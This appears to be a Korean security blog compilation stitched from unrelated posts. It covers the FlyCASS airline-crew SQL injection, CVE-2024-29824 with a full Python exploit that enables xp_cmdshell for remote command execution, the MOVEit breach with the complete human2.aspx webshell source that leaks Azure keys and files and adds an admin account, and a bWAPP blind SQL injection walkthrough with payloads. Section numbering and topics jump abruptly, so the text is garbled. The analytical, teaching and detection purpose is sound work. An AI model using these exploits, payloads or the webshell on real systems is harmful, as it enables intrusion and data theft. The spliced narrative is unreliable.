- 해외 보안 연구원에 의해 공항 보안에 사용되는 KCM과 CASS 프로세스에서 SQL Injection 취약점 발견 [1] - 취약점 악용에 성공할 시 관리자가 되어 항공사에 새로운 직원을 추가하는 등의 악성행위 가능 > 현재는 취약점이 해결되었음
2. 주요내용
2.1 KCM (Known Crewmember)
- 조종사와 승무원이 보안 검색을 우회할 수 있도록 해주는 TSA 프로그램 - 직원은 전용 레인을 사용하며, KCM 바코드 또는 직원 번호를 제시해 통과 여부를 결정
※ TSA (Transportation Security Administration) : 미국 교통안전청, 9.11 테러 이후 여객기 등의 운행 안전 필요성이 대두되어 설립
2.2 CASS (Cockpit Access Security System)
- 조종사가 조종실의 점프 시트를 사용할 수 있도록 하는 시스템
2.3 ARINC
- 항공, 공항, 국방, 정부, 수송분야에서 사용되는 표준과 시스템을 개발 및 제공하는 기업 - TSA와 계약하여 KCM 시스템을 운영하며, 조종사와 승무원이 KCM 상태를 확인할 수 있는 웹 사이트와 항공사 간 승인 요청을 라우팅하는 API 등을 운영 > 각 항공사는 KCM 및 CASS에 참여하기 위해 자체 인증 시스템을 운영하며, ARINC의 허브와 상호작용함 - TSA와 항공사는 CockpitAccessRequest와 CrewVerificationRequest 같은 요청을 ARINC로에 보낼 수 있으며, ARINC는 이를 적절한 항공사 시스템으로 라우팅
2.4 FlyCASS.com
- 소규모 항공사를 위해 KCM, CASS 운영하며, 모든 항공사가 자체 로그인 페이지를 가지고 있음 - 로그인 페이지에서 SQL Injection 취약점을 테스트(username에 ` 입력)한 결과 MySQL 오류 발생 > sqlmap을 사용해 관리자로 FlyCASS에 로그인 성공 > username : ' or '1'='1 / password : ') OR MD5('1')=MD5('1
※ sqlmap : SQL Injection을 감지 및 악용할 수 있는 Python 으로 작성된 오픈 소스 침투 테스트 도구 [2]
※ 잘못된 SQL 문법 등의 경우 반환되는 에러 메시지를 통해 데이터베이스 정보를 획득할 수 있으므로, 에러 메시지를 출력하지 않도록 조치 필요
[사진 1] MySQL 오류
2.5 KCM, CASS 관리자
- FlyCASS에 SQL Injection 취약점을 악용해 관리자 권한으로 접근이 가능 > 직원(조종사, 승무원) 목록을 확인하거나 추가 인증 없이 새로운 직원을 추가할 수 있었음
[사진 2] 관리자 계정 접근 성공
- 테스트를 위해 Test TestOnly 직원 추가 및 KCM, CASS 접근 권한을 부여하는데 성공 > SQL Injection에 기본적인 지식이 있는 누구나 KCM, CASS에 임의의 직원을 추가할 수 있는 심각한 문제
[사진 3] Test TestOnly 사용자 추가 성공
2.6 공개 및 기타 [3]
- 미국 국토안보부(United States Department of Homeland Security, DHS)에 문제를 공개 - 이후 FlyCASS는 KCM, CASS에서 비활성화 - TSA는 취약점을 부인하는 성명을 발표했으며, DHS는 초기에 신속하고 전문적으로 처리했으나, 이후 과정에서 상급 기관으로써의 역할을 제대로 수행하지 못함 - 비밀번호를 저장하는데 MD5 해시를 사용한 것 또한 문제
- 취약점은 PatchBiz.dll 파일의 RecordGoodApp()이라는 함수에서 발생 [3]
> 해당 함수의 첫 번째 SQL 문이 잠재적으로 SQL Injection에 취약
> string.Format을 사용하여 goodApp.md5의 값을 SQL 쿼리에 삽입
> 공격자는 goodApp.md5 값에 SQL 구문 Injection 및 xp_cmdshell을 통해 원격 명령 실행
[사진 2] RecordGoodApp() SQL 문
- 취약점 흐름은 다음과 같음
[사진 3] 호출 흐름
2.2 PoC [4]
- /WSStatusEvents/EventHandler.asmx URL로 POST 요청 - GoodApp=1|md5 값에 SQL Injection 구문 및 xp_cmdshell을 통해 원격 명령 실행
※ xp_cmdshell: SQL Server에서 운영체제 명령을 직접 실행할 수 있도록 해주는 확장 저장 프로시저
import argparse
import requests
import urllib3
import sys
from requests.exceptions import ReadTimeout
urllib3.disable_warnings()
XML_PAYLOAD = """<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
<soap12:Body>
<UpdateStatusEvents xmlns="http://tempuri.org/">
<deviceID>string</deviceID>
<actions>
<Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
<status>GoodApp=1|md5={}</status>
</Action>
</actions>
</UpdateStatusEvents>
</soap12:Body>
</soap12:Envelope>
"""
SQLI_PAYLOAD = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell '{}'--"
def get_cmd_arrays(cmd_file):
try:
with open(cmd_file, 'r') as f:
cmds = f.read().split('\n')
cmds = [c for c in cmds if c]
return cmds
except Exception as e:
sys.stderr.write(f'[!] Unexpected error reading cmd file: {e}\n')
return []
def exploit(url, command):
h = {'Content-Type': 'application/soap+xml' }
sqli_payload = SQLI_PAYLOAD.format(command)
xml_payload = XML_PAYLOAD.format(sqli_payload)
try:
r = requests.post(f'{url}/WSStatusEvents/EventHandler.asmx', data=xml_payload, headers=h, verify=False, timeout=30)
if r.status_code == 200:
print(f'[+] Successfully sent payload to server')
else:
print(f'[-] Unexpected response from server')
except TimeoutError:
# Expected to timeout given it keeps connection open for process duration
pass
except ReadTimeout:
# Expected to timeout given it keeps connection open for process duration
pass
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True)
args = parser.parse_args()
commands = get_cmd_arrays(args.cmd_file)
for command in commands:
exploit(args.url, command)
[사진 4] Exploit 예시
3. 대응방안
- 벤더사 제공 최신 업데이트 적용 [5]
> 해당 취약점을 포함한 5가지 원격 코드 실행 취약점 해결
- 탐지룰 적용
> 취약성 여부를 확인할 수 있는 스크립트 활용 [6]
alert tcp any any -> any any (msg:"CVE-2024-29824"; flow:to_server,established; content:"/WSStatusEvents/EventHandler.asmx"; content:"GoodApp=1|md5"; nocase; http_method POST;)
- 공격자는 MOVEit Transfer 앱에 조작된 페이로드를 전달하여, 최종적으로 MOVEit DB 컨텐츠의 수정 및 공개가 가능
영향받는 저번 - MOVEit Transfer 2023.0.x (15.0.x) - MOVEit Transfer 2022.1.x (14.1.x) - MOVEit Transfer 2022.0.x (14.0.x) - MOVEit Transfer 2021.1.x (13.1.x) - MOVEit Transfer 2021.0.x (13.0.x) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 구체적인 PoC는 확인되지 않으나 아르헨티나 보안 연구원 MCKSys이 PoC 화면 공개 [2]
영향받는 버전 - MOVEit Transfer 2023.0.x (15.0.x) - MOVEit Transfer 2022.1.x (14.1.x) - MOVEit Transfer 2022.0.x (14.0.x) - MOVEit Transfer 2021.1.x (13.1.x) - MOVEit Transfer 2021.0.x (13.0.x) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점
- 해당 취약점을 악용해 웹쉘 업로드가 가능하며, 웹쉘을 통해 DB 조작, 정보 열람, 파일 다운로드 등 악성행위가 가능함
- MOVEit Transfer를 사용하는 기업은 전 세계 수천개가 넘으며, 이 중에는 BBC, 영국항공, 노바스코티아 주 정부가 포함되어 있음
- 현재 관련된 PoC 등은 확인되지 않으나, Huntress에서 관련 영상 공개 [3]
> 보안 업체가 Horizon3ai와 Rapid7가 각각 CVE-2023-34362의 익스플로잇 방법을 개발해 발표 [16][17][18]
영향받는 버전 - MOVEit Transfer 2023.0.0 (15.0) - MOVEit Transfer 2022.1.x (14.1) - MOVEit Transfer 2022.0.x (14.0) - MOVEit Transfer 2021.1.x (13.1) - MOVEit Transfer 2021.0.x (13.0) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 23.06.10 현재 인터넷에 노출된 MOVEit Transfer 인스턴스는 약 2,500개 [4]
[사진 2] Shodan 검색 결과
- GreyNoise에서는 CVE-2023-34362 관련 스캐너를 공개 [5]
[사진 3] GreyNoise의 CVE-2023-34362 관련 스캐너
2.1 CL0P 랜섬웨어 그룹 [6]
- MS에서 2023.06.02 CL0P 랜섬웨어 그룹의 소행으라고 밝혔으며, 06.05 CL0P이 블로그에 관련 성명을 게시
> 보안 외신 SC Media에 따르면 CL0P 랜섬웨어 그룹은 2021년부터 연구하였고, 그 기간 동안 여러 기업들을 해당 취약점을 이용해 침해
[사진 4] CL0P 랜섬웨어 그룹의 MOVEit 캠페인 관련 게시글
[사진 5] MOVEit 익스플로잇 타임라인
- 여러 보안 기업에서 분석한 결과 공격 흐름은 다음과 같음
① SQL Injection 취약점 악용
> SQL Injection 취약점을 이용해 웹쉘 human2.aspx 업로드
② 웹쉘 통신 및 악성 행위 수행 [7]
> "X-siLock-Comment" 헤더를 통해 웹쉘과 통신
헤더
옵션
설명
X-siLock-Step1
-1
- AppendHeader 응답 헤더를 통해Azure 정보 유출 - MOVEit에 존재하는 모든 파일, 파일 소유자, 파일 사이즈 등의 정보를GZIP으로 압축하여 반환
-2
-users 데이터베이스에서 RealName이 Health Check Service인 사용자 삭제
X-siLock-Step2 ("folderid"값지정)
특정 값 지정
-해당 값과 fileid값(X-siLock-Step3)이 지정 되었을 경우해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL
-해당 값과 fileid 값(X-siLock-Step3)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을 시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
X-siLock-Step3 ("fileid" 값 지정)
특정 값 지정
-해당 값과 folderid값(X-siLock-Step2)이 지정 되었을 경우해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL
- 해당 값과 folderid값(X-siLock-Step2)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을 시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
<%@ Page Language="C#" %>
<%@ Import Namespace="MOVEit.DMZ.ClassLib" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Infrastructure.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Files" %>
<%@ Import Namespace="MOVEit.DMZ.Cryptography.Contracts" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Cryptography" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.FileSystem" %>
<%@ Import Namespace="MOVEit.DMZ.Core" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Users" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users.Enum" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<script runat="server">
private Object connectDB() {
var MySQLConnect = new DbConn(SystemSettings.DatabaseSettings());
bool flag = false;
string text = null;
flag = MySQLConnect.Connect();
if (!flag) {
return text;
}
return MySQLConnect;
}
private Random random = new Random();
public string RandomString(int length) {
const string chars = "abcdefghijklmnopqrstuvwxyz0123456789";
return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray());
}
protected void Page_load(object sender, EventArgs e) {
var pass = Request.Headers["X-siLock-Comment"];
if (!String.Equals(pass, "REDACTEDREDACTEDREDACTEDREDACTED")) {
Response.StatusCode = 404;
return;
}
Response.AppendHeader("X-siLock-Comment", "comment");
var instid = Request.Headers["X-siLock-Step1"];
string x = null;
DbConn MySQLConnect = null;
var r = connectDB();
if (r is String) {
Response.Write("OpenConn: Could not connect to DB: " + r);
return;
}
try {
MySQLConnect = (DbConn) r;
if (int.Parse(instid) == -1) {
string azureAccout = SystemSettings.AzureBlobStorageAccount;
string azureBlobKey = SystemSettings.AzureBlobKey;
string azureBlobContainer = SystemSettings.AzureBlobContainer;
Response.AppendHeader("AzureBlobStorageAccount", azureAccout);
Response.AppendHeader("AzureBlobKey", azureBlobKey);
Response.AppendHeader("AzureBlobContainer", azureBlobContainer);
var query = "select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID";
string reStr = "ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n";
var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2},{3},{4},{5},{6},{7}\n", set["ID"].Value, set["InstID"].Value, set["FolderID"].Value, set["FileSize"].Value, set["Name"].Value, set["uploader"].Value, set["FolderPath"].Value, set["fname"].Value);
set.MoveNext();
}
}
reStr += "----------------------------------\nFolderID,InstID,FolderName,Owner,FolderPath\n";
String query1 = "select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username";
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2},{3},{4}\n", set["id"].Value, set["instID"].Value, set["name"].Value, set["owner"].Value, set["FolderPath"].Value);
set.MoveNext();
}
}
reStr += "----------------------------------\nInstID,InstName,ShortName\n";
query1 = "select id, name, shortname from institutions";
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2}\n", set["ID"].Value, set["name"].Value, set["ShortName"].Value);
set.MoveNext();
}
}
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) {
writer.Write(reStr);
}
}
} else if (int.Parse(instid) == -2) {
var query = String.Format("Delete FROM users WHERE RealName='Health Check Service'");
new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
} else {
var fileid = Request.Headers["X-siLock-Step3"];
var folderid = Request.Headers["X-siLock-Step2"];
if (fileid == null && folderid == null) {
SessionIDManager Manager = new SessionIDManager();
string NewID = Manager.CreateSessionID(Context);
bool redirected = false;
bool IsAdded = false;
Manager.SaveSessionID(Context, NewID, out redirected, out IsAdded);
string username = "";
var query = String.Format("SELECT Username FROM users WHERE InstID={0} AND Permission=30 AND Status='active' and Deleted=0", int.Parse(instid));
var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
var query1 = "";
if (!set.EOF) {
username = (String) set["Username"].Value;
} else {
username = RandomString(16);
query1 += String.Format("INSERT INTO users (Username, LoginName, InstID, Permission, RealName, CreateStamp, CreateUsername, HomeFolder, LastLoginStamp, PasswordChangeStamp) values ('{0}','{1}',{2},{3},'{4}', CURRENT_TIMESTAMP,'Automation',(select id from folders where instID=0 and FolderPath='/'), CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);", username, "Health Check Service", int.Parse(instid), 30, "Health Check Service", "Automation", "Services");
}
query1 += String.Format("insert into activesessions (SessionID, Username, LastTouch, Timeout, IPAddress) VALUES ('{0}','{1}',CURRENT_TIMESTAMP, 9999, '127.0.0.1')", NewID, username);
new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
} else {
DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid);
SILGlobals siGlobs = new SILGlobals();
siGlobs.FileSystemFactory.Create();
EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create());
Response.ContentType = "application/octet-stream";
Response.AppendHeader("Content-Disposition", String.Format("attachment; filename={0}", fileid));
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
st.CopyTo(gzipStream);
}
}
}
} catch (Exception) {
Response.StatusCode = 404;
return;
} finally {
MySQLConnect.Disconnect();
}
return;
}
</script>
- 시나리오를 기반으로 침해를 테스트한 시스템의 로그를 검토한 결과 해당 공격과 관련된 로그는 다음과 유사할 것으로 판단 됨
- 웹 서버의 보안 설정을 통해 기존 SQL Injection에 대한 대응이 되어있는 경우 수행
- SQL 쿼리 수행 결과인 참/거짓을 기반으로 데이터를 알아내는 기법
- 참/거짓으로 결과를 반환하므로 노가다성 작업이 필요
- Boolean-Based 기법과 Time-Based 기법이 있음
[캡쳐 1] Blind SQL Injection 수행 과정
- Blind SQL Injection에서는 다음 함수들이 자주 사용됨
함수
설명
length("문자열")
- 문자열의 길이를 반환하는 함수
substring(대상 문자열, 시작 위치, 길이)
- 문자열에서 지정한 시작위치부터 길이만큼 출력하는 함수 - 시작 위치는 1부터 시작 * MySQL : substring() / Oracle : substr() / 사용법은 동일
limit 시작 위치, 갯수
- 지정한 시작위치부터 갯수만큼 결과를 반환하는 함수 - 시작 위치는 0부터 시작
ascii
- 문자를 아스키코드로 변환하는데 사용하는 함수 - 10진수 48 ~ 57 = 정수 1 ~ 10 - 10진수 65 ~ 90 = 문자 A ~ Z - 10진수 97 ~ 122 = 문자 a ~ z
2. 실습
- movie 검색란에 SQL Injection 취약점 유무를 확인하기 위해 '를 입력
- 출력되는 에러를 통해 SQL Injection 취약점이 존재하는 것을 알 수 있음
- 쿼리 수행 결과가 참일 경우와 거짓일 경우 출력되는 결과 값이 다른 것을 알 수 있음
- 해당 결과를 통해 Blind SQL 중 Boolean-Based 기법을 수행해야 한다는것을 유추 가능함
2.1 데이터베이스 이름의 문자열 갯수 확인
- length()를 이용해 데이터베이스 이름의 문자열 갯수를 확인할 수 있음
- 수행 질의문 : ' or 1=1 and length(database())=1 #
- 질의문 해석 : 데이터베이스 이름의 길이가 1인지
* database() : 서버의 데이터베이스 명을 반환하는 시스템 함수
- 숫자를 계속해서 증가 시켜 질의를 수행한 결과, 데이터베이스 명은 5글자인 것을 알 수 있음
- 수행질의문 : ' or 1=1 and length(database())=5 #
- 질의문 해석 : 데이터베이스 이름의 길이가 5인지
2.2 데이터베이스 이름 확인
- substring()를 이용해 데이터베이스의 명을 확인할 수 있음
- 수행 질의문 : ' or 1=1 and substring(database(),1,1)='a' #
- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'a'인지
- 문자를 변경하면서 질의문을 수행하면, 데이터베이스가 'b'로 시작하는 5글자임을 알 수 있음
- 수행질의문 :' or 1=1 and substring(database(),1,1)='b' #
- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'b'인지
- 데이터베이스 이름의 두번째 글자 확인을 원할 경우 substring()의 시작위치를 2로 변경하여 질의를 수행하면 됨.
- 수행 질의문 : ' or 1=1 and substring(database(),2,1)='a' #
- 질의문 해석 : 데이터베이스 이름의 두번째 글자가 'a'인지
- ASCII 값과 부등호를 이용해 해당 아스키 값이 입력한 아스키 값보다 큰지 작은지 확인할 수 있음
- substring()으로 하나씩 글자를 확인하는 것보다ASCII 값으로 범위를 한정하여 검색하는 것이 수월함
- 수행 질의문 : ' or 1=1 and substring(database(),1,1)<=97 #
- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 97(문자 a) 보다 작거나 같은 값인지
- 각 과정을 반복하면 데이터베이스의 이름이 'bWAPP'인 것을 알 수 있음
2.3 테이블 이름의 문자열 갯수 확인
- length()와 limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음
- 수행 질의문 : ' or 1=1 and length((select table_namefrom information_schema.tableswhere table_type='base table' and table_schema='bWAPP'limit 0,1))= 1#
* table_type = 'base table'란 information_schema에서 메타 데이터 테이블을 제외한 테이블을 의미
- 질의문 해석 :
information_schema 데이터베이스의 tables 테이블에서 table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의 table_name의 첫번째 테이블 이름의 길이가 1인지
- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블 이름의 길이가 4인것을 알 수 있음
- 수행 질의문 : ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))= 4#
- 두번째 테이블 이름의 길이를 알고싶을 경우 위 수행 질의문 중 limit 0,2 로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인
2.4 테이블 이름 확인
- ascii, substring(), limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음
- 수행 질의문 : ' or 1=1 and ascii(substring((select table_namefrom information_schema.tableswhere table_type='base table' and table_schema='bWAPP'limit 0,1),1,1)) >= 97#
- 질의문 해석 :
information_schema 데이터베이스의 tables 테이블에서
table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의
table_name의
첫번째 테이블 이름의
쳣번째 글자가
ascii 값으로 97(문자 a)보다 크거나 같은지
- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블이 b로 시작하는 4글자임을 확인할 수 있음
- 수행 질의문 : ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) >= 97#
- 문자를 변경하면서 질의를 수행한 결과, 데이터베이스의 첫 글자는 'b'인 것을 알 수 있으며, 결과 값은 blog임
- 두번째 테이블의 이름을 알고싶은 경우 수행 질의문 중 limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인
- 해당 과정을 반복하면 4번째 테이블 명이 users라는 것을 알 수 있음
2.5 users 테이블의 정보 확인
- 다음 질의를 통해 users 테이블의 첫번째 칼럼의 글자수를 확인할 수 있음
- 수행 질의문 : ' or 1=1 and length((select column_namefrom information_schema.columnswhere table_name='users'limit 0,1))=1#
- 질의문 해석 :
information_schema 데이터베이스의 columns 테이블에서
table_name이 users인 테이블의
column_name의
첫번째 컬럼의
길이가 1인지
- 2를 대입하여 질의를 수행하면 결과로 참을 반환하며, id임을 추측해 볼 수 있으며 질의를 통해 확인 가능
- 수행 질의문 : ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,2)= 'id'#
- 두번째 컬럼을 알고싶은 경우 질의문 중limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인
- 해당 과정을 반복하면 users 테이블의 컬럼은 id, login, password 등으로 구성되어 있는것을 알 수 있음
2.6 users 테이블의 login 컬럼 정보 확인
- 다음 질의문을 통해 login 컬럼에 저장된 정보의 길이 확인할 수 있음
- 수행 질의문 : ' or 1=1 and length((select login from users limit 0,1))=1#
- 질의문 해석 : users 테이블의 login 컬럼의 첫번째 컬럼의 길이가 1인지
- 질의문을 변경하면서 질의를 수행하면 2번째 컬럼의 길이가 3인것을 확인할 수 있음
- 다음 질의문을 통해 users 테이블의 login 컬럼의 두번째 컬럼이 3글자이며, bee임을 추측해 볼 수 있으며 질의를 통해 확인 가능
- 수행 질의문 : ' or 1=1 and substring((select login from users limit 1,1),1,3)='bee'#
- 질의문 해석 : users 테이블의 login 컬럼의 두번째 컬럼이 'bee'인지
- 또한, 각 과정을 반복하면 users 테이블의 password 컬럼 길이가 40임을 알 수 있고, 해시된 값임을 추측해 볼 수 있음
- 수행 질의문 : ' or 1=1 and length((select password from users where login='bee'))=40#
- 질의문 해석 : users 테이블에서 login 컬럼 값이 'bee'인 password 컬럼의 길이가 40인지
- 해시 여부를 확인하면(수행 질의문에서 md5()를 sha1 등으로 바꿔서 확인 가능) sha1을 사용해 비밀번호를 해시하여 저장하는 것을 알 수 있음
- 수행 질의문 : ' or 1=1 and md5("bug") = (select password from users where login='bee')#
3. 비박스 소스 확인
- 해당 페이지의 소스코드를 확인해 보면 security_level 별로 입력값 검증 방법을 확인할 수 있음
① security_level = 0 (난이도 하)일 경우 입력값을 검증하지 않음
② security_level = 1 (난이도 중)일 경우 sqli_check_1() 함수로 입력값 검증
③ security_level = 2 (난이도 상)일 경우 sqli_check_2() 함수로 입력값 검증
- addslashes(), mysql_real_escape_string() 함수를 통해 입력값 검증
① addslashes() : ', ", \, NULL 바이트에 역슬래시(\)를 추가된 문자열을 반환
② mysql_real_escape_string() : NULL, \n, \r, \, ', "에 역슬래시(\)를 붙여 특수 문자를 이스케이프